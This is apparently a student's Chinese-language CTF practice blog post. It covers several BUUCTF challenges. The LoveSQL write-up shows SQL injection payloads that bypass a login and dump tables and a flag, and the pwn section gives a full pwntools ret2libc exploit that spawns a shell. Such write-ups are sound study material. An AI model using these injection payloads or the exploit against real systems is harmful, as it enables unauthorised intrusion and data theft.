当前位置: 首页 > article >正文

寒假1.26

题解

web:[极客大挑战 2019]Havefun

打开是一个猫猫的图片

查看源代码

就是一个简单的get传参,直接在url后面输入cat=dog即可

 有点水,再来一题

[极客大挑战 2019]LoveSQL

熟悉的界面,不熟悉的注入

尝试上次的方法,注入万能密码试试

' or '1'='1'#

得到一串乱码,疑似是flag ,但是输入是错误的

登录admin界面试试,还是回显这个界面

 不过好处是可以得知注入类型为字符型,闭合方式为单引号闭合

尝试爆字段

username=1' order by 3#时

username=1' order by 4# 时

说明字段数为3

查字段,第三个字段是password

1' union select 1,2,3 #

 

爆库名

1' union select 1,2,database() #

 

联合爆表

1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()) #

 得到两个表名geekuser和l0ve1ysq1,题目名字就叫loveSQL,先爆第二个表的字段

1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1') #

 最后爆一下内容

1' union select 1,2,(select group_concat(id,username,password) from l0ve1ysq1) #

 flag{bdcc52c2-84d6-4c78-b608-20f7aefbb6c4}

misc:梅花香之苦寒来

参考:【BUUCTF】梅花香自苦寒来_buuctf 梅花香之苦寒来-CSDN博客

下载附件,得到一张图片

查看图片属性,没有什么东西

用010打开文件夹,搜索jpg文件尾FF D9,有一堆16进制编码

 复制在新建的文本文件中

这里可以用随波逐流直接16进制转文件

也可以写脚本转成文件

# 读取十六进制表示的文本文件
with open('C:\\Users\\aran\\Desktop\\1234567890.txt', 'r') as h:
    val = h.read()

# 将转换后的字符写入新的文本文件
with open('C:\\Users\\aran\\Desktop\\6666.txt', 'w') as re:
    for i in range(0, len(val), 2):
        # 每两个字符组成一个十六进制数,转换为整数,再转换为ASCII字符
        hex_val = int(val[i:i+2], base=16)
        ascii_char = chr(hex_val)
        # 打印并写入转换后的字符
        print(ascii_char, end="")
        re.write(ascii_char)

 得到一大串类似于坐标的东西

联想到前面说的你会画图吗,猜想这些坐标是用来画图的

使用gnuplot进行画图,使用gnuplot之前需要先将坐标格式转换成gnuplot可以识别的格式

with open('result.txt', 'r') as res:  # 坐标格式文件比如(7,7)
    re = res.read()
    res.close()
    
with open('gnuplotTxt.txt', 'w') as gnup:   # 将转换后的坐标写入gnuplotTxt.txt
    re = re.split()
    tem = ''
    for i in range(0, len(re)):
        tem = re[i]
        tem = tem.lstrip('(')
        tem = tem.rstrip(')')
        for j in range(0, len(tem)):
            if tem[j] == ',':
                tem = tem[:j] + ' ' + tem[j+1:]
        gnup.write(tem + '\n')
    gnup.close()

转化完格式后,将转化后的2.txt放在gnuplot的目录下

plot "2.txt"

得到二维码

最后扫描即可得到flag

crypto:[AFCTF2018]Morse

下载附件,是一个摩斯密码

随波逐流解码

提交是错的,大写转小写试试

还是不行,仔细观察字符串发现字符串由数字和字母组成,并且字母没有超过F的,于是尝试用HEX解密 ,就可以了

reverse:[WUSTCTF2020]level3

下载附件,exeinfope查看,64位无壳

ida打开,查看主函数

puts函数那里有一串base64编码,解码一下,解不出来

再翻翻左边的函数,有一个长得很丑的,点进去看,找到了base64加密变表的函数

将加密表变换一下写个解密exp

import base64
b64table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

b64tablelst=list(b64table)
for i in range(0,10):
    v1=b64tablelst[i]
    b64tablelst[i]=b64tablelst[19-i]
    result=19-i
    b64tablelst[result]=v1
new_b64table=''
for i in range(0,len(b64tablelst)):
    new_b64table+=b64tablelst[i]

print(new_b64table)
enb64="d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD=="
flag=base64.b64decode(enb64.translate(str.maketrans(b64table,new_b64table)))
print(flag)

pwn:ciscn_2019_en_2

exeinfope查看,64位无壳

ida64打开,查看主函数,,先是一个嵌套循环,然后输入v4的值,根据v4值来执行下面的代码

输入1进入encrypt()函数内,然后利用gets函数可以实现栈溢出攻击

没有system函数,shift+F12找找有没有/bin/sh/

并没有

跟昨天那个题有点相似了,应该也是构造rop链

思路:通过put函数泄露libc地址,然后拿到system函数和/bin/sh字符串实现攻击。

exp:

from pwn import *
from LibcSearcher import *
 
elf = ELF("C:\Users\aran\Downloads\ciscn_2019_en_2")
 
p = remote("node5.buuoj.cn",28274)
 
main_addr = elf.sym['main']
#print(hex(main_addr))
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
 
pop_rdi_ret = 0x0000000000400c83
 
payload1 = b'a'*(0x50+0x8) +p64(pop_rdi_ret)
payload1+=p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload1)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
 
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')
 
payload2 = b'a'*(0x50+0x8) + p64(0x04006b9)+p64(pop_rdi_ret)#ret_addr=0x04006b9
payload2+=p64(bin_addr)+ p64(sys_addr)
p.sendlineafter("Input your choice!",'1')
p.sendlineafter("Input your Plaintext to be encrypted",payload2)
p.interactive()
 

由于要安装libcsearcher库,俺安了一天也没安好(昨天也一直在安库),先安着,等会再来看

知识点

16进制编码特征:使用16个字符来表示数据,这些字符分别是0-9的数字和A-F的字母。其中,A-F分别代表10-15的十进制数值。值得注意的是,16进制编码中的字母不区分大小写,即a-f和A-F是等价的。


http://www.kler.cn/a/522164.html

相关文章:

  • A7. Jenkins Pipeline自动化构建过程,可灵活配置多项目、多模块服务实战
  • 30. C语言 动态内存管理详解:从malloc到realloc
  • uni-app 程序打包 Android apk、安卓夜神模拟器调试运行
  • Flutter解决macbook M芯片Android Studio中不显示IOS真机的问题
  • 《十七》浏览器基础
  • 机器学习-K近邻算法
  • 【深度学习】常见模型-Transformer模型
  • 基于微信小程序游泳馆管理系统 游泳馆管理系统小程序 (设计与实现)
  • 梯度下降优化算法-RMSProp
  • 【源码+文档+调试讲解】基于Spring Boot的摇滚乐鉴赏网站的设计与实现
  • Git 出现 Please use your personal access token instead of the password 解决方法
  • 发布 VectorTraits v3.1(支持 .NET 9.0,支持 原生AOT)
  • 基于微信小程序的助农扶贫系统设计与实现(LW+源码+讲解)
  • 98.1 AI量化开发:长文本AI金融智能体(Qwen-Long)对金融研报大批量处理与智能分析的实战应用
  • 高阶C语言|深入理解字符串函数和内存函数
  • 【C++高并发服务器WebServer】-10:网络编程基础概述
  • 寒假刷题Day16
  • Compose笔记(一)--LifecycleEventObserver
  • 能量提升法三:赞美
  • 设置jmeter外观颜色
  • EasyExcel写入和读取多个sheet
  • 【景区导游——LCA】
  • 《深入Python子域名扫描:解锁网络空间的隐藏宝藏》
  • CPP-存储区域
  • c语言网 1127 尼科彻斯定理
  • 阅读springboot源码 记录